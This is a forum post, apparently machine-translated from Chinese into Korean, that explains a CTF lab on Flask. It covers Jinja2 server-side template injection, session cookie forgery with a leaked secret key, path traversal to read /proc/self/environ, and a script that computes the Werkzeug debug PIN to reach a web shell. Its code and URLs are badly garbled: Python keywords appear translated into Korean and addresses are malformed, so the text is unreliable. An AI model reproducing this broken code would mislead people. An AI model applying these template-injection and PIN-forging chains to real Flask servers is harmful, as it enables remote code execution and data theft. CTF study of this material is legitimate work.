KoreanHackerTeam
Moderator
Flask SSTI 利用方式探索
python 语言基础
Python에서 객체 클래스는 Python의 모든 클래스의 기본 클래스입니다. 클래스를 정의 할 때 상속 될 클래스를 지정하지 않으면 객체 클래스가 기본적으로 상속됩니다. 각 클래스가 가지고있는 마법 변수 __class__는 현재 클래스를 나타냅니다.1
print ( ''.__ class__)

각 클래스에는 기본 클래스를 나열하는 __base__ 속성이 있습니다.

모든 기본 클래스 나열 : __bases__
클래스의 호출 순서 나열 : __mro__

서브 클래스 컬렉션 받기 : ''.__ 클래스 __.__ mro __ [1] .__ 서브 클래스 __ ()
다음으로 명령을 실행할 수있는 서브 클래스를 찾으십시오. os._wrap_close (133)
사용 가능한 변수와 방법을 찾으십시오 : ''.__ 클래스 __.__ mro __ [1] .__ 서브 클래스 __ () [133] .__ init __.__ globals__
시스템 명령 실행 : '.
파일 내용 읽기 : ''.__ 클래스 __.__ mro __ [1] .__ 서브 클래스 __ () [133] .__ init __.__ globals __ [ '__ buildins __'] [ 'open'] ( 'flag.txt'). read ().
SSTI 简介 环境搭建
模板
통합 스타일을 가진 사이트. 대부분의 페이지 스타일은 일관되지만 각 페이지에 표시되는 컨텐츠는 다릅니다. 모든 논리가 프론트 엔드에서 수행되면 의심 할 여지없이 응답 효과와 효율성에 영향을 미치며, 이는 매우 비현실적입니다. 백엔드에 모든 논리를두면 너무 복잡해지며, 이는 처음에는 가볍고 마지막에는 무겁습니다.템플릿의 탄생은 프론트 엔드 직원이 성능 설계에 집중할 수 있도록 디스플레이를 데이터와 분리하는 것입니다. 백엔드 직원은 비즈니스 논리에 집중하고 코드의 복잡성을 단순화 할 수 있습니다. 템플릿 기술은 다양하지만 본질은 템플릿 엔진을 통해 최종 HTML 코드를 생성하는 것입니다.
Flask는 Jinja2를 템플릿 엔진으로 사용합니다. Jinja의 구문은 매우 간단하며 대략 몇 가지 유형이 있습니다.
1
2
3
4
{%.%} 문
{{.}} 템플릿 출력에 대한 표현식 인쇄 (표현식)
{{#.#}} 주석
#. ## 라인 문
SSTI
SSTI 취약점 지점에서 {{x}}의 내용이 실행됩니다.서버 측 템플릿 주입 공격이라고도하는 SSTI. Jinja2 템플릿은 {} 구문을 사용하여 특수 자리 표시자인 변수를 나타냅니다. Jinja2로 렌더링되면이 특별한 자리 표시자를 채우거나 교체합니다. 그러나 대상 컴파일 및 렌더링 과정에서 사용자가 삽입 한 악성 콘텐츠가 실행되므로 민감한 정보 유출, 코드 실행 및 GetShell과 같은 문제가 발생할 수 있습니다.
环境搭建
테스트 환경 구성 : Ubuntu + Docker환경:
GitHub - Tiaonmmn/pasecactf_2019_web_honey_shop
Contribute to Tiaonmmn/pasecactf_2019_web_honey_shop development by creating an account on GitHub.
敏感信息泄露导致身份伪造
flask session 机制

3 개의 개별 단락을 통해 첫 번째 단락은 실제로 Base64encode 이후의 내용이지만 충전에 사용되는 동일한 부호가 제거됩니다. 디코드가 실패하면 완료하려면 1-3 개의 동일한 부호를 추가해야합니다. 중간 내용은 타임 스탬프입니다. 타임 스탬프가 플라스크에서 31 일을 초과하면 유효하지 않은 것으로 간주됩니다. 마지막 단락은 SHA1 작업을 통해 세션 데이터, 타임 스탬프 및 플라스크의 비밀을 사용하는 보안 서명의 결과입니다.


方法一
이 응용 프로그램에는 SSTI 취약점 : 아래 /hello가 있습니다
config에서 Secret_key가 누출되었습니다.

Flask-Unsign Tool (PIP로 설치)을 사용한 가짜 쿠키 :
1
flask-unsign ---sign-ookie '{'balance': 6666} '---secret'7xrqrfvwmthmrzwgxlhcqrectqlndq1odvvdjkz '


方法二
http://127.0.0.133608345/download? image=1.jpg 파일을 다운로드 할 수있는 취약점이 있습니다. 환경 변수 파일 다운로드 :http://127.0.0.0.1:8345/download? image=./././././././proc/self/Environ

Flask PIN 码利用
Flask PIN 码
Flask Debug 응용 프로그램은 모드에서 페이지 측 대화 형 디버깅 도구를 제공합니다. 이는 일반적으로 사용하는 Python 명령 줄과 동일합니다. 즉, 대화 형 웹 측 쉘을 제공합니다. 그러나 핀 코드를 생성하기위한 규칙은 규칙적이며 따라갈 수 있으므로 핀 코드를 얻을 수 있으며 나중에 사용하는 방법에는 여러 가지가 있습니다.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Itertools 가져 오기 체인
아마도 _public_bits=[
'루트',# 사용자 이름
'flask.app',# modname
'flask',# getattr (app, '__name__', getAttr (app .__ class__, '__name__')))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr (mod, '__file__', none),
]]
private_bits=[
'345051575547'# str (uuid.getnode ()),/sys/class/net/eth0/address
'613CACD3857F425E9409E544DECE08DA', # get_machine_id (), /etc /machine-id
]]
h=hashlib.md5 ()
체인의 비트 (아마도 _public_bits, private_bits) :
비트 :이 아닌 경우
계속 계속하십시오
Isinstance (bit, str) :
bit=bit.encode ( 'UTF-8')
H.update (비트)
H.update (b'cookiesalt ')
Cookie_name='__wzd' + h.HexDigest () [:20]
num=없음
NUM이 없으면 :입니다
H.update (b'pinalt ')
num=( ' % 09d' % int (h.hexDigest (), 16) [:9]
RV=없음
RV가 없으면 :입니다
5, 4, 3:의 group_size 용
len (num) % group_size==0: 인 경우
rv='-'. 조인
범위의 X의 경우 (0, len (num), group_size))
부서지다
else:
RV=NUM
인쇄 (RV)
脚本中 6 个参数的获取方法:
username
사용자 실행 플라스크, 읽기 /etc /passwd를 읽으십시오modname
일반적으로 기본값app name
일반적으로 기본값路径
디버그 오류网络地址
읽기 :/sys/class/net/eth0/address1
int ( '02:42:AC33333333:00:02'.replace (': ',' '), 16)

机器码
읽기 :/etc/machine-id 또는/proc/self/cgroup
执行脚本



SSTI 导致 RCE
代码执行
12
3
{범위 (10)%}의%}
{%print (i)%}
{%endfor%}

python 魔法函数 + 内置函数
魔法函数
소위 마술 방법은 Python의 높은 수준의 구문으로 클래스에서 함수를 사용자 정의 할 수 있으며 (기능 이름의 형식은 일반적으로 __x__) 클래스의 특수 메소드에 바인딩 할 수 있습니다. 예를 들어, 클래스 A에서 __str__ 함수를 사용자 정의하면 str (a)가 호출되고 해당 결과가 반환 될 때 __str__ 함수가 자동으로 호출됩니다. 우리의 일일 사용에서, 우리는 종종 __init__ 함수와 __del__ 함수를 사용할 수 있으며, 이는 실제로 일종의 마법 기능입니다.内置函数
도움을보기 위해 Python에 도움말 (__ buildins__)을 입력하십시오. 간단히 말해, 파이썬과 함께 제공되는 함수입니다.1
http://127.0.0.0.0.1:8345/hello? name=\ {\ {%22%22.__ 클래스 __.__ base __.__ 서브 클래스 __ ()
